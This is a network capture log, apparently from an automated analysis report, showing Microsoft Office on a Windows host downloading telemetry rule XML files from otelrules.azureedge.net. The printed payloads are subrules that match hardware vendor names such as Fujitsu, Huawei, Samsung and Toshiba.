2024-11-17 21:20:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212023Z-1866b5c5fbbfhwqqhC1DFW5138000000045000000000r9at x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:23 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212023Z-16547b76f7fjx5nrhC1DFW4dsc000000021g00000000am56 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212023Z-164f84587bf7jb9dhC1DFWkay400000004kg000000003esa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212023Z-16547b76f7fw2955hC1DFWsptc00000005ag00000000ecw6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:24 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:24 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212024Z-16547b76f7fljddfhC1DFWeqbs00000005hg00000000vmzb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:24 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:24 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212024Z-16547b76f7fqqjnnhC1DFWxv74000000036g000000005xtr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:24 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212024Z-16547b76f7f64d6whC1DFWf9vn00000003bg00000000p7ym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:24 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212024Z-16547b76f7fwm7vghC1DFW900s00000002dg00000000cvtv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212024Z-1866b5c5fbb7km9phC1DFWr2sc00000003q000000000bqzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:25 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-1866b5c5fbbpxkkxhC1DFWhvmc00000005600000000068fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:26 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-164f84587bfrrmqdhC1DFWvu6s00000003kg0000000001b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-16547b76f7fxqj4khC1DFWpypw000000022g00000000tn9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O 